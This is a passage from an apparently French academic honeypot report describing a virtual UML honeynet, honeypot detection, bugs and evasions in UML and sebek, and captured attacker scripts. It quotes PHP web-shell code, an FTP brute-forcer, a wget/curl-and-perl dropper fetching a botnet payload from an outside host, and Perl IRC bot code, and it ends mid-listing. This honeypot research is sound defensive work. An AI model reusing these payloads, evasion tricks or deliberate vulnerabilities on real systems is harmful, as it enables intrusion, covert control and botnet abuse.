pour le noyau linux qui implémente cette technique de virtualisation. La compilation du
noyau patché produit un binaire exécutable pouvant être lancé sous GNU/Linux par un
simple utilisateur. Ce noyau est vu par le véritable noyau Linux comme une simple application. Les développeurs du noyau Linux l’utilise pour tester leur code mais les usages
d’UML sont multiples et les honeypots n’échappent pas à la règle. En effet, UML est
la solution idéale pour mettre en place un honeynet virtuel sur une seule machine et des
recherches ont déjà été réalisé dans cette optique. C’est pour cela que nous avons choisi
cette solution pour déployer notre réseau de machines leurrées.
Avantages de la virtualisation
Les machines virtuelles ont de très nombreuses applications, souvent dans le domaine
professionnel. La première est de pouvoir profiter d’autant de systèmes d’exploitation
qu’on le souhaite, beaucoup plus facilement qu’avec un multi-boot et ceci sans trop de
perte d’efficacité avec les systèmes actuels que nous trouvons sur le marché. C’est également un avantage pour tous les développeurs de logiciels qui doivent tester leur code sous
différentes plateformes ou pour les hébergeurs qui peuvent dédier plusieurs serveurs sur
une seule machine.
Au niveau des honeypots, la virtualisation est une révolution puisqu’elle permet de
faciliter l’administration et le contrôle d’un réseau de machines leurrées de part la centralisation des données sur une unique machine. De plus, comme chaque machine virtuelle
est encapsulée dans un fichier, il est très facile de restaurer une machine virtuelle saine
après une attaque réussie et garder le fichier image du système compromis pour en faire
une analyse ultérieure sur une machine disposant d’outils nécessaires.
Présentation d’UML
UserModeLinux est présent en natif comme une nouvelle architecture (um) depuis la
version 2.6.9 du kernel Linux. Nous ne devons ainsi plus patcher notre noyau pour qu’il
10
User-Mode-Linux
18
3
nous génére un binaire, exécutable depuis l’espace utilisateur. UserModeLinux dispose
également de quelques fonctionnalités intéressantes qui nécessitent la recompilation et la
modification du noyau de l’hôte. Parmi les fonctionnalités, on retrouve principalement le
mode SKAS11 qui permet d’augmenter les performances et la sécurité des machines virtuelles en séparant les espaces utilisateur et noyau de l’uml car par défaut l’uml qui dans
l’espace utilisateur fonctionne avec un seul espace d’adresse commun ce qui permet à un
processus de l’uml d’écrire dans l’espace mémoire du noyau uml.
La compilation d’un kernel UML se fait en trois étapes.
1. On configure notre noyau UML avec la commande make menuconfig ARCH=um
2. On compile notre noyau UML avec la commande make ARCH=um
3. On retire la table des symbôles du binaire produit avec la commande strip linux
Même si la dernière étape n’est pas primordiale, ces trois étapes nous permettent
d’avoir un binaire linux que nous pouvons lancer à la main avec n’importe quel utilisateur qui en a les droits.
UML et les honeypots
L’idée d’utiliser UML pour créer un honeynet virtuel vient de l’université de Dartmouth qui a effectué des recherches dans ce domaine et qui a publié plusieurs extensions
ajoutant à UML les fonctionnalités nécessaires pour gérer les honeypots.
– TTY logging
Cette fonctionnalité permet de récupérer au niveau de la machine hôte tout ce qui
se passe au sein d’une machine virtuelle de manière indétectable. On peut ainsi récupérer les commandes exécutées lors d’une session ssh sur une machine virtuelle.
Cette fonctionnalité est l’alternative à l’utilisation de sebek qui est facilement détectable et contournable.
– Hppfs12
Hppfs permet de modifier le procfs afin de masquer la présence d’une machine virtuelle. En effet, il est facile grâce au système de fichier virtuel /proc de s’apercevoir
qu’il est dans une machine virtuelle.
– Skas13
L’université de Dartmouth est également à l’origine du mode SKAS décrit précedement et présent maintenant en natif dans UML.
11
Separate Kernel Address Space
HoneyPot ProcFS
13
Separate Kernel Address Space
12
19
3
Configuration du réseau
Nous avons donc créé un honeynet de deuxième génération virtuel en utilisant la technologie UML. La figure 12 montre l’architecture du réseau virtuel utilisé. La machine
hôte qui tourne sous Debian Etch joue le rôle d’honeywall et les machines virtuelles qui
tournent sous Mandrake 8 et Slackware 8.1 font office d’honeypots. L’utilisation d’ancienne distribution augmente les chances de compromission.
F IG . 12: GenII honeynet virtualisé avec UML
Au niveau de la machine hôte, nous controlons les données avec iptables couplé à un
snort_inline. Les règles de filtrage sont essentiellement basées sur le dénombrement et
l’enregistrement des connexions. Nous capturons les paquets en provenance ou provenant
des honeypots avec tcpdump. Au niveau des machines virtuelles, nous utilisons un ancien
noyau de la branche 2.4 compilé avec l’option CONFIG_TTY_LOG afin de récupérer sur
la machine hôte tout ce qui se passe à l’intérieur des machines virtuelles.
Les brèches mises en place
Même si c’est une solution possible, ne pas mettre en évidence de brèches sur les deux
honeypots risque de donner très peu de résultats sur le temps qui nous est imparti pour le
projet. Nous allons donc rendre volontairement nos deux machines virtuelles vulnérables
pour faciliter le travail des pirates. Pour cela il serait intéressant de connaître les ports
couramment ciblés sur clem1.be. Comme le routeur tourne sous OpenBSD, nous pouvons
ajouter une règle au firewall pf comme la suivante qui va permettre de logger tout ce qui
a été refusé en entrée.
block in log on $ext_if all
Nous pouvons ensuite écrire un script en python qui va lire les fichiers logs au format
pcap et sortir des graphiques sur les ports les plus ciblés. La figure 13 montre que les
20
3
ports 135 et 445 en TCP, qui correspondent aux services (SMB et Netbios) du système
d’exploitation windows, sont, de très loin, les deux ports plus attaqués. En effet, la majeur
partie des vulnérabilités exploitables à distance sont spécifiques à ces deux ports et ainsi
la majeur partie des vers qui circulent sur la toile s’attaquent à ces deux ports. Comme
l’un des rôles du logiciel nepenthes est d’émuler les services qui tournent sur ces deux
ports, il est plus judicieux de choisir de mettre en place d’autres services sur nos deux
honeypots à forte interaction même si ils seront moins attaqués.
F IG . 13: Attaques sur les ports TCP
Le graphique 14 fait un zoom sur la partie ’Autres’ de la figure 13. On peut remarquer que les ports 22 et 23, que nous connaissons bien, arrivent en tête du classement.
Ils correspondent respectivement aux protocoles SSH et Telnet qui se ressemblent dans
le sens où ils permettent d’offrir un interpréteur de commandes à distance. Il serait donc
intéressant d’offrir ces deux services sur nos deux machines virtuelles. De plus, une faille
agée d’une dizaine d’année a refait surface ces derniers mois puisqu’elle a été retrouvée
dans le programme login de Sun Solaris 10. La faille permet d’obtenir un interpréteur de
commande sans authentification en spécifiant l’argument -l "-fuser" à telnet, le démon telnetd de Solaris faisant appel au programme login. Nous pouvons ainsi modifier le démon
in.telnetd de Slackware 8.1 pour lui ajouter volontairement cette vulnérabilité. Le patch
est disponible sur dc.clem1.be.
Notre choix va donc se porter sur la mise en place d’un ancien serveur OpenSSH
(SSH-1.99-OpenSSH_3.1p1), connu pour contenir des failles de sécurité non publiées14 ,
avec des comptes ayant des mots de passe faible. Nous installerons ce serveur sur la
machine virtuelle tournant sous Mandrake. Sur la Slackware, nous allons donc mettre
le démon in.telnetd modifié. Nous avons donc un honeynet qui ressemble au schéma 15.
14
patchées dans les nouvelles versions mais pas exploitées publiquement
21
3
F IG . 14: Attaques sur les autres ports TCP
F IG . 15: Honeynet virtuel mis en place
22
4
4
CONTOURNEMENT DES HONEYPOTS
Contournement des honeypots
Contrairement à un IDS15 qui est un système passif, un honeypot est réactif et répond
aux requêtes du pirate. De plus la réactivité, dans le cas des honeypots à forte interaction,
est totale puisque le pirate a la main mise sur un véritable système géré de façon, supposé, inaperçue de l’extérieur par un bonhomme qui fait de la sécurité. Malheureusement,
comme tout système informatique, il possède des faiblesses que cette section va tenter
d’illustrer.
Détecter un honeypot
Pour qu’il soit le plus atratif possible, un honeypot doit être indétectable par un pirate.
En effet, la mise en place de pots de miel s’est répandu dans les entreprises et les pirates
ont mis en place des techniques permettant de détecter leur présence. Cette sous-section
décrit plusieurs méthodes qui auraient pu être mise en place par un pirate pour s’apercevoir
qu’il est dans un réseau leurré.
Les honeypots à faible et moyenne intéraction
Commençons avec les pots de miel à faible et moyenne intéraction qui sont faciles à
détecter pour un humain, le camouflage n’étant pas une priorité dans le sens où ces honeypots sont destinés à piéger les programmes automatisés tels que les vers ou les massrooter
plutôt que les pirates.
– Honeytrap
Un scan de port sur une machine indiquant l’ouverture de tous les ports laisse présager la présence d’honeytrap. Une connexion sur le port TCP 80 avec une requête
bidon permet de s’en assurer :
pouik$ nc 192.168.0.20 80
CACAPROUT
HTTP/1.1 200 OK
Connection: close
Date: Sun, 27 Nov 2005 13:07:34 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Accept-Ranges: bytes
Quelque soit la requête HTTP, même invalide, honeytrap renvoi toujours la même
page avec la même date et les mêmes numéros de versions.
– Nepenthes
La détection de nepenthes peut se faire en essayant d’exploiter deux failles touchant
deux versions de windows différentes, si les deux réussissent alors il est fort probable qu’un nepenthes se cache derrière la machine.
15
Intrusion Detection System
23
Détecter un honeypot
4
– Kojoney
La détection de Kojoney peut se faire en jouant avec des caractères spéciaux tels
que le ˆC ou le ˆD qui dans le read() de python n’ont pas la même attitude que dans
le read() du vrai serveur ssh. En plus de ces diverses anomalies dans l’interpréteur,
on peut également visualiser la clef publique envoyée par le serveur ssh pour détecter un kojoney sachant qu’il utilise toujours la même clef.
pouik$ grep publicKey kojoney.py
publicKey = ’ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAGEArzJx8OYOnJmzf...’
Détecter UML
Maintenant que nous avons expliqué plusieurs techniques pour identifier les honeypots à faible et moyenne intéraction attaquons nous à notre UML que nous avons placer
dans les honeypots à forte intéraction.
UML n’est à la base pas destiné à la mise en place d’honeypots, il est donc assez trivial pour un pirate de déterminer s’il intéragi avec système d’exploitation virtuel géré par
UML.
– /proc
En parcourant le système de fichier virtuel procfs, on peut trouver plusieurs indications qui annonce la présence d’UML.
bash-2.05$ cat /proc/cmdline
ubd0=mandrake ubd1=swap mem=64m eth0=tuntap,tap0
cmdline contient la ligne de commande tapée pour lancer le système invité, mandrake ici.
– Les partitions
Dans UML, les noms des partitions ainsi que des périphériques dans /dev sont nonhabituels, les hda ou sda ont été remplacés par ubd. Un attaquant peut donc lister
les devices dans /dev ou les partitions pour détecter la présence d’UML.
bash-2.05# mount
/dev/ubd/0 on / type ext2 (rw)
– dmesg
Le listing des messages générés au boot par une machine virtuelle UML ne sont pas
les mêmes que ceux d’une machine normale. Un pirate peut simplement utiliser la
commande dmesg pour vérifier la présence ou non d’UML.
bash-2.05$ dmesg | grep ubd0
Kernel command line: ubd0=mandrake ubd1=swap mem=64m eth0=tuntap,tap0
24
Une faille dans un honeypot ?
4
Aucun système informatique n’est à l’abris de bugs qui peuvent se transformer en
faille de sécurité, les honeypots n’échappent pas à la règle et cette partie décrit quelques
vulnérabilités/bugs trouvés dans UML ainsi que dans sebek durant le projet.
Déférencement de pointeur NULL dans copy_chunk_to_user()
Lors de la recherche de différentes techniques permettant de détecter la présence
d’user-mode-linux, une vulnérabilité permettant de planter une machine virtuelle a été
trouvée dans la gestion de la device /dev/kmem et la fonction copy_chunk_to_user(). En
effet, un déférencement de pointeur se produit lorsque nous tentons une lecture par bloc
de certaines données présentes en mémoire par l’intermédiaire de la device /dev/kmem.
Celle-ci représente la mémoire virtuelle du noyau accessible en lecture et en écriture par
le root. Ce déférencement produit un plantage du noyau UML et par la même occasion
de la machine virtuelle. Ainsi un pirate ayant découvert le piège peut décider de faire
tomber la machine virtuelle ainsi que, dans certains cas, et corrompre les traces qu’elle a
sauvegardé (système de fichiers corrompu après le crash).
root@slurp:~# strings /dev/kmem
Kernel panic: Kernel mode fault at addr 0x0, ip 0x400dd824
<6>SysRq : Show Regs
Erreur de segmentation (core dumped)
Le simple lancement de la commande strings sur le périphérique /dev/kmem provoque
ce crash et la machine virtuelle s’arrête lamentablement. Analysons le coredump généré.
uml@plouf:/virtual$ gdb -c core kernel32-2.4.32-bs3
Program terminated with signal 11, Segmentation fault.
(gdb) bt
#11 0xa00bf342 in sig_handler (sig=-1535107072, sc=
{gs = 0, __gsh = 0, fs = 0, __fsh = 0, es = 123, __esh = 49168,
ds = 123, __dsh = 0, edi = 2713882624, esi = 0, ebp = 2714188264,
esp = 2714188256, ebx = 1073827840, edx = 2714188660, ecx = 256,
eax = 1024, trapno = 14, err = 4, eip = 2685165997, cs = 115, __csh = 0,
eflags = 66054, esp_at_signal = 2714188256, ss = 123, __ssh = 0,
fpstate = 0x0, oldmask = 0, cr2 = 0}) at trap_user.c:108
(gdb) x/i 2685165997
0xa00c61ad <copy_chunk_to_user+29>: rep movsl %ds:(%esi),%es:(%edi)
Si on regarde le registre d’instruction juste avant le crash, on peut remarquer qu’il
pointe au milieu de la fonction copy_chunk_to_user() sur une instruction qui copie ecx
fois le contenu pointé par l’adresse dans esi vers l’adresse pointée par edi. Cependant si
on regarde l’adresse qui se trouve dans le premier registre, on peut remarquer qu’elle est
égale à NULL (0) alors qu’il reste encore 256 octets à copier (ecx). Lorsque le processeur
tente d’accéder à cette adresse nulle non mappée, il tombe sur un pagefault qui le fait
paniquer.
Le problème ne concerne que les noyaux de la branche 2.4 et les raisons pour lesquelles le registre esi se retrouve à NULL sont encore obscures. La vulnérabilité a été
néanmoins reportée au créateur de UML, Jeff Dike.
25
4
Détournement de sebek 2, premier round
Sebek se cache dans le noyau pour capturer les activités d’un cracker. Techniquement
pour faire cela sous Linux, il remplace l’appel système sys_read(), utilisé par les interpréteurs de commandes, par le sien qui s’occupe de l’envoi des saisis clavier du pirate. Cette
méthode pose un problème au niveau de la détection de sebek puisqu’il suffit au pirate de
récupérer l’adresse de l’appel système sys_read() dans la sys_call_table et la comparer
avec les autres et pose aussi un gros problème au niveau de son efficacité du fait que les
développeurs ont oublié qu’il existait les appels systèmes sys_readv() et sys_pread() qui
peuvent être utilisés comme sys_read(). Ainsi un pirate peut créer une simple librairie qui
intercepte l’appel à read() et le remplace par un appel à readv(). Les quelques lignes de
codes suivantes montrent le principe de l’attaque.
2
4
6
8
s s i z e _ t r e a d ( i n t fd , v o i d ∗ buf , s i z e _ t n b y t e s )
{
s s i z e _ t (∗ fn ) ( i n t , s t r u c t iovec ∗ , s i z e _ t ) ;
handle = dlopen ( " / l i b / l i b c . so . 6 " , 1 ) ;
f n = dlsym ( h a n d l e , " r e a d v " ) ;
(...)
/ ∗ r e m p l i s s a g e d ’ un i o v a v e c b u f e t n b y t e s ∗ /
r e t u r n ( f n ( fd , &i o v , 1 ) ) ;
}
On modifie la variable d’environnement LD_PRELOAD pour qu’elle pointe sur notre
librairie et on relance un nouveau shell qui va utiliser readv() à la place de read(), aucune
commande ne sera enregistrée par sebek. Ce problème ne touche que la version module
de sebek 2 pour Linux.
Détournement de sebek 2, deuxième round
Un autre problème se trouve dans la fonction nrd() qui remplace l’appel système
sys_read() où on peut voir le code suivant.
1
3
5
int r ;
(...)
r = o r d ( fd , buf , c o u n t ) ; / / a p p e l au v r a i s y s _ r e a d .
i f ( r < 1 | | (BLOCK[ KSO_OFFSET ] && r > 1 ) ) r e t u r n r ;
(...)
La fonction ord(), qui pointe sur le vrai sys_read(), renvoi un nombre entier non signé qui représente le nombre de caractères lu. Ce nombre est stocké dans une variable de
type signé. Ainsi si la fonction ord() retourne un nombre supérieur à 0x7fffffff, la variable
contiendra un nombre négatif et le test if (r < 1) sera valide et la fonction retournera pensant qu’il y a eu une erreur sans rien logger. Ainsi il suffit pour un pirate d’envoyer pour
chaque commande des ’ ;’ de bourrage pour arriver à une taille de commande supérieure
à 2147483647, la valeur positive maximale d’un int sur une architecture 32bits.
Encore une fois, seule la version module de sebek 2 pour Linux est visée par cette vulnérabilité mais l’origine des failles laissent penser que d’autres moyens d’évasion doivent
exister pour les nouvelles versions de sebek et pour les autres systèmes d’exploitation
(BSD).
26
5
5
RÉSULTATS
Résultats
Attaques des applications web
Dès que google a commencé à référencer les fausses pages renvoyées par webtrap,
le nombre d’attaques a considérablement augmenté pour arriver à une moyenne de 10
par jours. La plupart d’entre-elles exploitent des failles de type include pour exécuter sur
le serveur un script placé à l’extérieur sur une machine pirate. Ainsi la mise en place
de webtrap a permis la récupération d’environ 700 scripts différents qui sont destinés à
des machines UNIX. Les pirates ont émis la supposition que les machines hébergeant les
applications web dynamiques tournent sous des systèmes unix tels que GNU/Linux ou
FreeBSD. Cette section résume les fonctions intéressantes que proposent ces scripts.
Interpréteur de commandes
La possibilité de lancer des commandes unix à partir du script est la fonctionnalité de
base que l’on retrouve dans tous les scripts.
F IG . 16: Defacing Tool 2.5 by r3v3ng4ns
La figure 16 est une capture du script le plus utilisé par les pirates qui offrent la possibilité de lancer des commandes à travers différentes fonctions PHP telles que popen(),
shell_exec() ou system() que nous retrouvons dans les sources présentées ci-dessous.
1
3
5
7
9
f u n c t i o n s h e l l ( $what ) { e c h o ( s h e l l _ e x e c ( $what ) ) ; }
f u n c t i o n popenn ( $what ) {
$ h a n d l e = popen ( " $what " , " r " ) ;
$ o u t = @fread ( $ h a n d l e , 2 0 9 6 ) ;
echo $out ;
@pclose ( $ h a n d l e ) ;
}
f u n c t i o n e x e c c ( $what ) {
e x e c ( " $what " , $ a r r a y _ o u t ) ;
$out=implode ( " \ n" , $ a r r a y _ o u t ) ;
27
15
17
RÉSULTATS
echo $out ;
11
13
5
}
(...)
<option
<option
<option
<option
<option
value ="1">use
value ="2">use
value ="3">use
value ="4">use
value ="5">use
passthru ()
system ( )
exec ( )
popen ( )
shell_exec ()
Éxecution de code php
En plus de l’exécution de commandes UNIX, certains scripts proposent l’exécution
de commandes PHP. Le pirate rentre dans une textbox les instructions php et le script se
chargera de l’exécution et de la retransmission du résultat. La figure 17 montre l’exécution
d’un simple echo() dans une boucle for.
F IG . 17: Hello world dans C99Shell
Explorateur de fichiers
Même si c’est possible pour un pirate expérimenté de le faire à l’aide de quelques
commandes, les scripts intègrent souvent un explorateur qui permet se promener à coup
de souris dans toutes l’arborescence du serveur avec des fonctions évoluées telles que la
suppression, la création, l’édition ou encore la recherche de fichiers ou de répertoires. La
figure 18 affiche l’explorateur de fichiers fourni avec le script C99Shell.
On peut voir ici l’affichage du contenu de la racine de mon serveur web.
Upload de fichier
En relation étroite avec l’explorateur de fichiers, les scripts permettent également d’envoyer des fichiers sur le serveur web comme on peut le voir sur la capture 19.
Tuer le gestionnaire de logs PHP
Les scripts appellent toujours, en premier lieu, la fonction PHP closelog() pour empécher apache d’enregistrer les évenements malveillants qu’ils pourraient réaliser. Les
28
5
RÉSULTATS
F IG . 18: L’explorateur de C99Shell
F IG . 19: L’uploadeur de C99Shell
scripts peuvent également abuser de la fonction syslog() pour inonder les fichiers de logs
avec des informations usurpées afin de perturber l’analyse des logs mais nous n’avons pas
vu cette technique utilisée. Ils testent juste l’existence de la fonction pour en avertir le
pirate qui peut ensuite l’utiliser pour inonder les logs.
$ grep closelog * | wc -l
38
$ grep syslog * | wc -l
19
Brute forcer FTP
Certains scripts comme C99Shell peuvent lancer une attaque par force brute contre le
serveur FTP local de la machine compromise. Le code php suivant montre comment cette
attaque est réalisée dans C99Shell.
2
4
6
8
10
12
14
f u n c t i o n c 9 9 f t p b r u t e c h e c k ( $host , $port , $timeout , $login ,
$ p a s s , $sh , $ f q b _ o n l y w i t h s h )
{
$sock = @ftp_connect ( $host , $port , $timeout ) ;
i f ( @ f t p _ l o g i n ( $sock , $ l o g i n , $ p a s s ) )
{
r e t u r n TRUE ;
}
}
$ f p = f o p e n ( " / e t c / passwd " , " r " ) ;
(...)
while ( ! f e o f ( $fp ) )
{
$ s t r = e x p l o d e ( " : " , f g e t s ( $fp , 2 0 4 8 ) ) ;
i f ( c99ftpbrutecheck ( " l o c a l h o s t " ,21 ,1 , $ s t r [0] , $ s t r [0] ,
29
5
RÉSULTATS
$ s t r [6] , $fqb_onlywithsh ))
16
{
e c h o " <b> C o n n e c t e d t o " . g e t e n v ( "SERVER_NAME" ) . " w i t h l o g i n \ " " ;
e c h o $ s t r [ 0 ] . " \ " and p a s s w o r d \ " " . $ s t r [ 0 ] . " \ " < / b>< br > " ;
$ s u c c e s s ++;
18
20
}
22
}
La fonction c99ftpbrutecheck(), sert à vérifier la connexion au serveur FTP dont l’adresse
et les identifiant ont été passé en paramètre. Le script commence par ouvrir le fichier /etc/passwd (ligne 10) puis parcourt ce dernier pour récupérer, ligne 14, dans $str[0] le login,
pour terminer par un appel, ligne 15, à c99ftpbrutecheck() pour tester le serveur FTP local
(localhost) avec comme identifiant le login récupéré juste avant. Si la fonction retourne
vrai alors les paramètres passés à celle-ci sont affichés. Le "brute-forcer FTP" intégré dans
ce script ne fait que tester la présence de comptes UNIX avec des mots de passe identiques
au login et accessibles depuis le serveur FTP.
Gestion des sockets
Une fonctionnalité que l’on retrouve dans la plupart des scripts est la gestion avancée
des sockets. En effet, beaucoup permettent de réaliser des connexions à distance, le pirate
spécifie le protocole, le port et l’adresse puis le script se gère de la connexion et peut
envoyer des données, renseignées par le pirate, à la machine distante comme le ferait
l’outil netcat.
F IG . 20: Joujou avec les sockets C99Shell
Comme on peut le voir sur la capture 20, le script C99Shell propose les outils suivants :
– bindshell
demande à C99Shell de placer en écoute un shell, protégé par un mot de passe, sur
un port donné par le pirate.
– connectback
demande à C99Shell de se connecter sur un port d’une adresse en se basant sur un
shell écrit en perl pour répondre aux données envoyées par la machine distante.
– irc
demande à C99Shell de réaliser un proxy IRC. Le pirate spécifie le serveur IRC
puis le port local à écouter. Ensuite pour se connecter au serveur IRC, l’attaquant se
30
5
RÉSULTATS
connecte sur le serveur piraté sur le port en question. Il aura ainsi sur IRC l’adresse
IP du serveur piraté et non la sienne.
Envoi de mail
Parmi les pirates, on retrouve bien sûr les spammeurs et des fonctions d’envoi massif
de courriers sont présentes dans les scripts les plus évolués.
$ grep mail\( * | wc -l
192
Le script r57shell.php permet cela, le pirate rentre les adresses de l’émetteur, du ou des
destinataires, le corps et le sujet du messages puis la fonction mail() qui utilise le serveur
SMTP local de la machine va se charger de la retransmission.
F IG . 21: Envoi de mail avec r57shell.php
Remplacement de l’index
Quelqu’uns des scripts récoltés n’ont qu’une fonctionnalité, celle d’effacer la page
index par une page indiquant la signature du pirate. Cela permet au pirate d’avoir son
nom sur les sites de sécurité. C’est ce que fait le script paruk.php dont un morceau de
code est présenté ci-dessous :
2
4
$ f p = f o p e n ( " i n d e x . h t m l " , "w" ) ;
f w r i t e ( $fp , " < c e n t e r ><h1 >Hacked by # M a l a n g H a c k e r L i n k Team < / h1 > " ) ;
f w r i t e ( $fp , " <h3 > G r e e t t o # M a l a n g H a c k e r L i n k @ DALnet < / h3 > " ) ;
f c l o s e ( $fp ) ;
Le script ouvre en écriture la page index.html du répertoire courant qui n’est pas forcement la racine du site web pour y inscrire la signature du groupe sans aucun message
particulier. Selon zone-h, figure 22, le groupe de pirate #MalangHackerLink n’a réalisé
qu’une soixantaine de défacements de sites web.
Installation d’un botnet
Environ 70% des scripts avaient comme unique rôle de télécharger et d’exécuter un
programme permettant de se connecter sur un réseau pirate communément appelé botnet.
31
5
RÉSULTATS
F IG . 22: La vitrine du groupe #MalangHackerLink
2
4
6
8
<?
p a s s t h r u ( ’ cd / tmp ; wget h t t p : / / www. t a m b e n l i k . n e t / v61 . t x t ;
p e r l v61 . t x t ; rm −f v61 ∗ ’ ) ;
p a s s t h r u ( ’ cd / tmp ; c u r l −O h t t p : / / www. t a m b e n l i k . n e t / v61 . t x t ;
p e r l v61 . t x t ; rm −f v61 ∗ ’ ) ;
p a s s t h r u ( ’ cd / tmp ; lwp−download h t t p : / / www. t a m b e n l i k . n e t / v61 . t x t ;
p e r l v61 . t x t ; rm −f v61 ∗ ’ ) ;
?>
Le script suivant récupère de plusieurs manières, au cas l’une d’entre elles ne fonctionneraient pas, le programme v61.txt puis l’interprête à l’aide de la commande perl avant de
le supprimer. Nous verrons plus en détail ce que se cachent derrière v61.txt dans la partie
suivante.
Par définition, un botnet est un réseau composé d’un grand nombre de machines zombies, c’est-à-dire appartenant probablement à des particuliers, compromises et utilisées
pour lancer des actions malveillantes. Ces réseaux peuvent être composés de plus de 1000
machines, qui, peuvent, si elles sont utilisées en même temps et dans le même but, effectuer des attaques par déni de service de très grande ampleur. Généralement les machines
compromises fonctionnent sous Microsoft Windows mais depuis quelques temps, nous
commençons à voir de plus en plus de serveur compromis par ce genre de programme et
c’est dans ce domaine qu’a été mené l’étude. Les serveurs sont, dans la grand majorité,
dotés d’une bande passante élevé et équipés avec du matériel haut de gamme, soit les élements parfait pour accomplir un botnet surpuissant de quelques machines.
Comme nous l’avons vu précédement, pour attaquer les serveurs pour y placer un programme se connectant à un botnet, les pirates exploitent des failles PHP. De cette manière,
webtrap a permis de détecter environ une dizaine de botnets, plus ou moins grands. La première partie de cette section décrit le fonctionnement d’un programme zombie tandis que
la deuxième explique ce que les pirates font avec ces armées de machines.
SHELLBOT
Lorsque l’on regarde de plus près les programmes zombies dont certains pirates ont
tenté d’exécuter sur notre web honeypot, on s’aperçoit qu’ils sont tous écrits en perl et
32
5
RÉSULTATS
qu’ils ont tous la même base... qui a recopié sur l’autres ? Prenons donc l’un de ces programme et tentons d’analyser son comportement.
2
4
6
8
10
my @canais = ( " # vx8 " ) ;
my @adms= ( " A l e e x " , " x e Q t e r " ) ;
$servidor= ’ irc . efnet . net ’ unless $servidor ;
my @fakeps = ( " / u s r / l o c a l / a p a c h e / b i n / h t t p d −DSSL" ,
(...)
" [ httpd ] " );
my @nickname = ( " Tys0n " ,
" berran " ,
" stuing " ,
(...)
" Scamurl " ) ;
Le script commence par la déclaration de quelques variables globales, ce ne sont
qu’elles qui diffèrent entre les différents scripts récoltés. On retrouve :
servidor : l’adresse du serveur irc, irc.efnet.net
canais : le ou les canaux IRC, #vx8
adms : le ou les nickname IRC des administrateurs du botnet, Aleex et xeQter
fakeps : liste de noms processus que le script utilisera pour se fondre dans la masse
lors d’un ps aux
– nickname : liste de noms que pourra prendre le robot
–
–
–
–
1
my $ p r o c e s s o = $ f a k e p s [ r a n d s c a l a r @fakeps ] ;
$0= " $ p r o c e s s o " . " \ 0 " ;
Le script utilise ensuite une technique (écrasement de $0) pour masquer son nom réel
et le remplacer par celui pris aléatoirement dans le tableau @fakeps.
2
4
6
8
sub c o n e c t a r {
(...)
my $ I R C _ s o c k e t = IO : : S o c k e t : : INET−>new ( P r o t o => " t c p " ,
P e e r A d d r => " $ s e r v i d o r _ c o n " ,
P e e r P o r t => $ p o r t a _ c o n ) o r r e t u r n ( 1 ) ;
(...)
n i c k ( " $meunick " ) ;
s e n d r a w ( "USER $ i r c n a m e " . $ I R C _ s o c k e t −>s o c k h o s t . " $ s e r v i d o r _ c o n : $ r e a l n a m e " ) ;
}
La fonction conectar() permet de se connecter à un serveur IRC, elle est appelée au
début du script.
1
3
5
7
9
11
while ( 1 ) {
(...)
$ n r e a d = s y s r e a d ( $fh , $msg , 4 0 9 6 ) ;
(...)
@ l i n e s = s p l i t ( / \ n / , $msg ) ;
(...)
f o r ( my $c = 0 ; $c <= $# l i n e s ; $c ++) {
parse ( " $line " ) ;
(...)
}
}
Le script rentre ensuite dans une boucle infinie, récupère ce qui est envoyé par le
serveur IRC dans @lines pour le découper en lignes qu’il envoie à la fonction parse(),
fonction mère du script. Voici ci-dessous le code commenté de la fonction parse().
1
sub p a r s e ( ) {
33
RÉSULTATS
my $ s e r v a r g = s h i f t ;
#
# S i PING du s e r v e u r r é p o n s e p a r un PONG
#
i f ( $ s e r v a r g =~ / ^ PING \ : ( . ∗ ) / ) {
s e n d r a w ( "PONG : $1 " ) ;
}
#
# P e t i t e r e g e x p o u r r é c u p é r e r l e n i c k n a m e de l ’ é m e t t e u r a i n s i
# que s o n m e s s a g e
#
e l s i f ( $ s e r v a r g =~ / ^ \ : ( . + ? ) \ ! ( . + ? ) \@( . + ? ) PRIVMSG ( . + ? ) \ : ( . + ) / ) {
my $pn=$1 ; my $onde = $4 ; my $ a r g s = $5 ;
#
# S i q u e l q u e demande l a VERSION on s e f a i t p a s s e r p o u r mIRC
#
i f ( $ a r g s =~ / ^ \ 0 0 1 VERSION \ 0 0 1 $ / ) {
n o t i c e ( " $pn " , " \ 0 0 1 VERSION mIRC v6 . 1 6 K h a l e d Mardam−Bey \ 0 0 1 " ) ;
}
#
# S i l e nom de l ’ é m e t t e u r e s t c o m p r i s d a n s l e s a d m i n s du b o t n e t
#
e l s i f ( g r e p { $_ =~ / ^ \ Q$pn \ E$ / i } @adms ) {
#
# s i l e m e s s a g e commence p a r l e nom du r o b o t a l o r s
# on e x é c u t e c e q u i s u i t l e nom comme une commande
# shell .
#
i f ( $onde eq " $meunick " ) {
s h e l l ( " $pn " , " $ a r g s " ) ;
}
#
# s i ç a commence p a r un ! a l o r s c ’ e s t une commande IRC
# a p p e l l e de l a f o n c t i o n i r c a s e .
#
i f ( $ a r g =~ / ^ \ ! ( . ∗ ) / ) {
i r c a s e ( " $pn " , " $onde " , " $1 " ) ;
#
# s i ç a commence p a r un @ a l o r s c ’ e s t une a c t i o n s p é c i f i q u e
# a p p e l l e de l a f o n c t i o n b f u n c
#
} e l s i f ( $ a r g =~ / ^ \@( . ∗ ) / ) {
$ondep = $onde ;
$ondep = $pn i f $onde eq $meunick ;
b f u n c ( " $ondep " , " $1 " ) ;
} else {
#
# s i on ne s a i t p a s t r o p c e que c ’ e s t
# on a p p e l l e l a f o n c t i o n s h e l l .
s h e l l ( " $onde " , " $ a r g " ) ;
}
3
5
7
9
11
13
15
17
19
21
23
25
27
29
31
33
35
37
39
41
43
45
47
49
51
53
5
}
Le code de la fonction parse(), comme son nom l’indique, sert uniquement à parser ce
qui a été envoyé par le serveur IRC. Si c’est une action alors on exécute bfunc(), si c’est
une commande IRC alors on exécute ircase() sinon on exécute shell(). Le code intéressant
se trouve donc dans la fonction bfunc()...
1
3
5
7
9
11
i f ( $2 =~ / ^ e v a l \ s + ( . + ) / ) { e v a l " $1 " ; r e t u r n ; }
i f ( $2 =~ / ^ r s h \ s + ( . + ) \ s + ( \ d + ) / ) { r s h ( $To , $1 , $2 ) ; e x i t ; }
i f ( $2 =~ / ^ g o o g l e \ s + ( \ d + ) \ s + ( . + ) / ) {
s p r e a d : : s t a r t ( $To , $1 , $2 ) ;
exit ;
}
i f ( $2 =~ / ^ t c p f l o o d \ s + ( . + ) \ s + ( \ d + ) \ s + ( \ d + ) / ) {
